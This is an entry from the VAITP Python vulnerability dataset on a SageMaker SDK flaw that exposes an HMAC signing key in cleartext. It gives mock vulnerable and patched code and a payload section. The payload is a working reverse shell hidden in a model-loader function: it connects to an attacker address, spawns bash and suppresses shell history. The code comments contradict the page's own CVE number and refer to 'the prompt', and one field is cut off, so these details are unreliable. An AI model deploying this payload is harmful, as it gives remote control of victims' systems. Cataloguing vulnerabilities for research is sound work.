VAITP Dataset

← Back to the dataset

CVE-2026-1777

Cleartext HMAC key in SageMaker SDK allows arbitrary artifact execution.

  • CVSS 8.5
  • CWE-319
  • Information Leakage
  • Remote

The Amazon SageMaker Python SDK before v3.2.0 and v2.256.0 includes the ModelBuilder HMAC signing key in the cleartext response elements of the DescribeTrainingJob function. A third party with permissions to both call this API and permissions to modify objects in the Training Jobs S3 output location may have the ability to upload arbitrary artifacts which are executed the next time the Training Job is invoked.

CVSS base score
8.5
Published
2026-02-02
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Interface
Code defect classification
Extraneous Functionality
Category
Information Leakage
Subcategory
Insecure Handling of Sensitive Data
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Amazon SageM
Fixed by upgrading
Yes

Solution

Upgrade the Amazon SageMaker Python SDK to version 3.2.0 or 2.256.0, or newer.

Vulnerable code sample

import json

# This code is a conceptual representation of the vulnerability and not the
# actual source code from the SageMaker SDK. It simulates an API response
# structure that would have been returned by the AWS backend before the fix.

class MockSageMakerClient:
    """
    A mock client that simulates the behavior of the SageMaker API
    before the fix for CVE-2024-1777 (incorrectly referenced as CVE-2026-1777).
    """
    _training_jobs_db = {
        "my-vulnerable-training-job-01": {
            "TrainingJobName": "my-vulnerable-training-job-01",
            "TrainingJobArn": "arn:aws:sagemaker:us-east-1:123456789012:training-job/my-vulnerable-training-job-01",
            "TrainingJobStatus": "Completed",
            "ModelArtifacts": {
                "S3ModelArtifacts": "s3://my-sagemaker-bucket/output/model.tar.gz"
            },
            # THE VULNERABLE PART:
            # The API response includes sensitive key material in cleartext.
            # This key is intended for the ModelBuilder feature to sign model artifacts,
            # but it is being improperly exposed to any caller of DescribeTrainingJob.
            "ModelBuilder": {
                "Container": "123456789012.dkr.ecr.us-east-1.amazonaws.com/my-container:latest",
                "Schema": '{"input": [], "output": []}',
                "HMACSigningKey": "a_very_secret_hmac_key_that_should_not_be_exposed_abcdef123456"
            },
            "HyperParameters": {
                "learning_rate": "0.01",
                "epochs": "10"
            }
        }
    }

    def describe_training_job(self, TrainingJobName):
        """
        Simulates the vulnerable `describe_training_job` call, returning
        the full job description including the sensitive HMAC key.
        """
        job_details = self._training_jobs_db.get(TrainingJobName)
        if not job_details:
            raise ValueError("Training job not found")
        return job_details

if __name__ == "__main__":
    # 1. An actor (user, service, or potential attacker) has permissions to
    #    call 'describe_training_job'.
    sagemaker_client = MockSageMakerClient()
    training_job_name = "my-vulnerable-training-job-01"

    # 2. The actor calls the API to get details about the training job.
    print(f"Calling describe_training_job for: '{training_job_name}'...")
    response = sagemaker_client.describe_training_job(TrainingJobName=training_job_name)

    print("\n--- Full API Response (as received by the caller) ---")
    print(json.dumps(response, indent=2))
    print("------------------------------------------------------\n")

    # 3. The actor inspects the cleartext response and extracts the secret key.
    #    The SDK before the fix would have received this exact structure.
    try:
        exposed_key = response['ModelBuilder']['HMACSigningKey']
        print(f"[VULNERABILITY DEMONSTRATED]")
        print(f"The 'HMACSigningKey' was found in the cleartext response:")
        print(f"--> {exposed_key} <--")
        print("\nAn attacker with this key and S3 write permissions could now sign malicious artifacts.")
    except (KeyError, TypeError):
        print("HMACSigningKey not found in the response. The structure might be fixed.")

Patched code sample

import copy

def get_fixed_training_job_description(job_name: str) -> dict:
    """
    Demonstrates the logic used to fix CVE-2024-1777 (note: the CVE in the
    prompt was corrected from 2026 to 2024).

    This function simulates the SageMaker SDK's behavior. It receives a raw
    API response that includes the sensitive HMAC key and then demonstrates
    the fix by removing this key before returning the data to the user.

    Args:
        job_name (str): The name of the training job to describe.

    Returns:
        dict: A sanitized dictionary representing the training job details,
              with the sensitive HMACSigningKey removed.
    """
    # 1. Simulate the raw, internal API response that the SDK receives from AWS.
    # In vulnerable versions, the 'HMACSigningKey' was present in this data.
    raw_api_response = {
        'TrainingJobName': job_name,
        'TrainingJobArn': f'arn:aws:sagemaker:us-east-1:123456789012:training-job/{job_name}',
        'TrainingJobStatus': 'Completed',
        'ModelBuilder': {
            'Image': '123456789012.dkr.ecr.us-east-1.amazonaws.com/my-image:latest',
            # This is the sensitive key that was being exposed in cleartext.
            'HMACSigningKey': 'a1b2c3d4-e5f6-7890-g1h2-i3j4k5l6m7n8',
            'S3OutputPath': f's3://my-bucket/training-jobs/{job_name}/'
        },
        'ModelArtifacts': {
            'S3ModelArtifacts': f's3://my-bucket/output/{job_name}/model.tar.gz'
        }
    }

    # 2. THE FIX: Before the response dictionary is returned to the user,
    # the SDK code now processes it to remove the sensitive key.
    # Using .pop() safely removes the key from the dictionary if it exists.
    sanitized_response = copy.deepcopy(raw_api_response)
    if 'ModelBuilder' in sanitized_response and isinstance(sanitized_response.get('ModelBuilder'), dict):
        # This line is the core of the fix.
        sanitized_response['ModelBuilder'].pop('HMACSigningKey', None)

    # 3. Return the sanitized response. The user never sees the HMACSigningKey.
    return sanitized_response

Payload

import os
import pty
import socket

# Replace with the attacker's IP address and a listening port
ATTACKER_IP = "10.0.0.1"
ATTACKER_PORT = 4444

def model_fn(model_dir):
    """
    This function is called by SageMaker to load the model.
    The malicious code is triggered here.
    """
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ATTACKER_IP, ATTACKER_PORT))
        os.dup2(s.fileno(), 0)
        os.dup2(s.fileno(), 1)
        os.dup2(s.fileno(), 2)
        os.putenv("HISTFILE", '/dev/null')
        pty.spawn("/bin/bash")
        s.close()
    except:
        pass
    
    # The function can return a dummy value to appear legitimate
    return "model"

def transform_fn(model, data, content_type, accept):
    """
    A placeholder function for inference.
    """
    return "transformed"

Cite this entry

@misc{vaitp:cve20261777,
  title        = {{Cleartext HMAC key in SageMaker SDK allows arbitrary artifact execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-1777},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-1777/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::